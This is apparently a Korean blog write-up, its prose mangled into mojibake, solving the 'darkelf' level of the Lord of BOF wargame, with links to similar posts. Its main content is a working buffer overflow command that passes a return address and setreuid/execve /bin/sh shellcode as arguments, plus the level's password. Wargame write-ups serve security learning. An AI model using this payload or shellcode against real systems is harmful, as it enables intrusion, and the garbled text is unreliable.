728x90
๋ฐ์ํ
์์ค๋ฅผ ์ด์ด๋ณด๋ฉด ์ผ๋จ ์ ๋ฌธ์ ๋ ๋น์ทํ๋ฐ ๊ธธ์ด๋ฅผ ์ฒดํฌํ๋ค.
์ฒซ๋ฒ์งธ์ธ์ ๊ฐ์ ๊ธธ์ด๋ฅผ ํ์ธํ์ฌ 48๊ธ์๋ณด๋ค ํฌ๋ฉด ๋์๋ฒ๋ฆฌ๋ ๊ฒ์ ํ์ธ ํ ์ ์๋ค.
์ผ๋จ ์๊ณผ ๋๊ฐ์ด ์งํํ๊ณ
payload๋ฅผ ์์ฑ๋
./darkelf $(python -c 'print "\x90"*40+"AAAA"+"\xcc\xfb\xff\xbf"') <= ์ฒซ๋ฒ์งธ ์ธ์(buffer+AAAA+ret์ฃผ์๊ฐ)
$(python -c 'print "\x90"*180+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')<=2๋ฒ์งธ์ธ์( NOP+์์ฝ๋)
password : kernel crashed
728x90
๋ฐ์ํ
'Wargame > CTF(Capture The Flag)' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
pwnable.kr shellshock (0) | 2015.10.11 |
---|---|
LOB orge (0) | 2015.09.15 |
LOB wolfman (0) | 2015.09.15 |
LOB orc (0) | 2015.09.15 |
LOB goblin (0) | 2015.09.15 |
๋๊ธ